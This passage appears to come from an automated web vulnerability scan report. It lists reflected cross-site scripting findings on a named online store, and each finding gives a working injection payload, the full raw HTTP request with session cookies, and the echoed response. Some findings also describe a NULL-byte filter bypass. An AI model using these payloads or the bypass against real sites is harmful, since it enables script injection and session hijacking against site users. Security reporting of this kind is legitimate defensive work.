This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/HelpView?langId=-18b358"><img%20src%3da%20onerror%3dalert(1)>0e2aacca4c6&storeId=10051&catalogId=10002&mag=store&nav_wt=leftnav HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:21:00 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 20472

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Generic Error</title>
<link rel=stylesheet href="/wc
...[SNIP]...
<a href="StoreCatalogDisplay?langId=-18b358"><img src=a onerror=alert(1)>0e2aacca4c6&catalogId=10002&storeId=10051&nav_wt=header">
...[SNIP]...

2.967. http://www.rodalestore.com/webapp/wcs/stores/servlet/HelpView [langId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/HelpView

Issue detail

The value of the langId request parameter is copied into an HTML comment. The payload 6c4f3--><x%20style%3dx%3aexpression(alert(1))>308a11db8e5 was submitted in the langId parameter. This input was echoed as 6c4f3--><x style=x:expression(alert(1))>308a11db8e5 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /webapp/wcs/stores/servlet/HelpView?langId=-16c4f3--><x%20style%3dx%3aexpression(alert(1))>308a11db8e5&storeId=10051&catalogId=10002&mag=store&nav_wt=leftnav HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:20:53 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 20592

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Generic Error</title>
<link rel=stylesheet href="/wc
...[SNIP]...
<a href="PrivacyView?langId=-16c4f3--><x style=x:expression(alert(1))>308a11db8e5&storeId=10051&catalogId=10002&nav_wt=footer">
...[SNIP]...

2.968. http://www.rodalestore.com/webapp/wcs/stores/servlet/HelpView [mag parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/HelpView

Issue detail

The value of the mag request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f3251"><img%20src%3da%20onerror%3dalert(1)>e3c9db1715a was submitted in the mag parameter. This input was echoed as f3251"><img src=a onerror=alert(1)>e3c9db1715a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Request

GET /webapp/wcs/stores/servlet/HelpView?langId=-1&storeId=10051&catalogId=10002&mag=storef3251"><img%20src%3da%20onerror%3dalert(1)>e3c9db1715a&nav_wt=leftnav HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:21:23 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 26154

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Rodale At Your Service</title>
<li
...[SNIP]...
<img src="/wcsstore/USRodaleStore/en_US/images/storef3251"><img src=a onerror=alert(1)>e3c9db1715a_logo.gif" alt="Rodalestore.com" align="center" border="0" vspace="4">
...[SNIP]...

2.969. http://www.rodalestore.com/webapp/wcs/stores/servlet/HelpView [mag parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/HelpView

Issue detail

The value of the mag request parameter is copied into an HTML comment. The payload c43b8--><img%20src%3da%20onerror%3dalert(1)>bf319ec9f2c was submitted in the mag parameter. This input was echoed as c43b8--><img src=a onerror=alert(1)>bf319ec9f2c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/HelpView?langId=-1&storeId=10051&catalogId=10002&mag=storec43b8--><img%20src%3da%20onerror%3dalert(1)>bf319ec9f2c&nav_wt=leftnav HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:21:09 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 26165

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Rodale At Your Service</title>
<li
...[SNIP]...
<img src=a onerror=alert(1)>bf319ec9f2c_LeftNavigationDisplay_Top-->
...[SNIP]...

2.970. http://www.rodalestore.com/webapp/wcs/stores/servlet/HelpView [storeId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/HelpView

Issue detail

The value of the storeId request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2e377"><img%20src%3da%20onerror%3dalert(1)>00667a7380 was submitted in the storeId parameter. This input was echoed as 2e377"><img src=a onerror=alert(1)>00667a7380 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/HelpView?langId=-1&storeId=100512e377"><img%20src%3da%20onerror%3dalert(1)>00667a7380&catalogId=10002&mag=store&nav_wt=leftnav HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:20:56 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 23399

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Generic Error</title>
<link rel=stylesheet href="/wc
...[SNIP]...
<a href="StoreCatalogDisplay?langId=-1&catalogId=10002&storeId=100512e377"><img src=a onerror=alert(1)>00667a7380&nav_wt=header">
...[SNIP]...

2.971. http://www.rodalestore.com/webapp/wcs/stores/servlet/HelpView [storeId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/HelpView

Issue detail

The value of the storeId request parameter is copied into an HTML comment. The payload af317--><img%20src%3da%20onerror%3dalert(1)>0263807ecfe was submitted in the storeId parameter. This input was echoed as af317--><img src=a onerror=alert(1)>0263807ecfe in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Request

GET /webapp/wcs/stores/servlet/HelpView?langId=-1&storeId=10051af317--><img%20src%3da%20onerror%3dalert(1)>0263807ecfe&catalogId=10002&mag=store&nav_wt=leftnav HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:21:16 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 23455

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Generic Error</title>
<link rel=stylesheet href="/wc
...[SNIP]...
<a href="PrivacyView?langId=-1&storeId=10051af317--><img src=a onerror=alert(1)>0263807ecfe&catalogId=10002&nav_wt=footer">
...[SNIP]...

2.972. http://www.rodalestore.com/webapp/wcs/stores/servlet/InterestItemDisplay [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/InterestItemDisplay

Issue detail

The value of REST URL parameter 5 is copied into an HTML comment. The payload aa6ee--><img%20src%3da%20onerror%3dalert(1)>8e1a7c3d2d4 was submitted in the REST URL parameter 5. This input was echoed as aa6ee--><img src=a onerror=alert(1)>8e1a7c3d2d4 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/InterestItemDisplayaa6ee--><img%20src%3da%20onerror%3dalert(1)>8e1a7c3d2d4?storeId=10051&listId=.&langId=-1&catalogId=10002&nav_wt=header HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:20:41 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 22211

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Generic Error</title>
<link rel=stylesheet href="/wc
...[SNIP]...
nd check the log file.

Exception Type: 0
Message Key: _ERR_CMD_CMD_NOT_FOUND
Message: CMN3101E The system is unavailable due to "CMN0203E".
System Message: Command not found: "InterestItemDisplayaa6ee--><img src=a onerror=alert(1)>8e1a7c3d2d4".
Originating Command:
Corrective Action:

//*-------------------------------------------------------------------
//*
-->
...[SNIP]...

2.973. http://www.rodalestore.com/webapp/wcs/stores/servlet/InterestItemDisplay [langId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/InterestItemDisplay

Issue detail

The value of the langId request parameter is copied into the HTML document as plain text between tags. The payload eff76<img%20src%3da%20onerror%3dalert(1)>aa42b0b16d5 was submitted in the langId parameter. This input was echoed as eff76<img src=a onerror=alert(1)>aa42b0b16d5 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/InterestItemDisplay?storeId=10051&listId=.&langId=-1eff76<img%20src%3da%20onerror%3dalert(1)>aa42b0b16d5&catalogId=10002&nav_wt=header HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:20:51 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 20435

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
   <title>Generic Error</title>
   <link rel=stylesheet href="/wc
...[SNIP]...
<select name="currency">
               Exception:java.lang.NumberFormatException: For input string: "-1eff76<img src=a onerror=alert(1)>aa42b0b16d5"

   </td>
...[SNIP]...

2.974. http://www.rodalestore.com/webapp/wcs/stores/servlet/InterestItemDisplay [langId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/InterestItemDisplay

Issue detail

The value of the langId request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fb5e4"><img%20src%3da%20onerror%3dalert(1)>5a3ce1d696d was submitted in the langId parameter. This input was echoed as fb5e4"><img src=a onerror=alert(1)>5a3ce1d696d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/InterestItemDisplay?storeId=10051&listId=.&langId=-1fb5e4"><img%20src%3da%20onerror%3dalert(1)>5a3ce1d696d&catalogId=10002&nav_wt=header HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:20:33 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 21071

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Generic Error</title>
<link rel=stylesheet href="/wc
...[SNIP]...
<a href="LogonForm?langId=-1fb5e4"><img src=a onerror=alert(1)>5a3ce1d696d&storeId=10051&catalogId=10002&nav_wt=header" style="color: #CCCC99">
...[SNIP]...

2.975. http://www.rodalestore.com/webapp/wcs/stores/servlet/InterestItemDisplay [langId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/InterestItemDisplay

Issue detail

The value of the langId request parameter is copied into an HTML comment. The payload eec9b--><img%20src%3da%20onerror%3dalert(1)>ea0171121dd was submitted in the langId parameter. This input was echoed as eec9b--><img src=a onerror=alert(1)>ea0171121dd in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/InterestItemDisplay?storeId=10051&listId=.&langId=-1eec9b--><img%20src%3da%20onerror%3dalert(1)>ea0171121dd&catalogId=10002&nav_wt=header HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:20:37 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
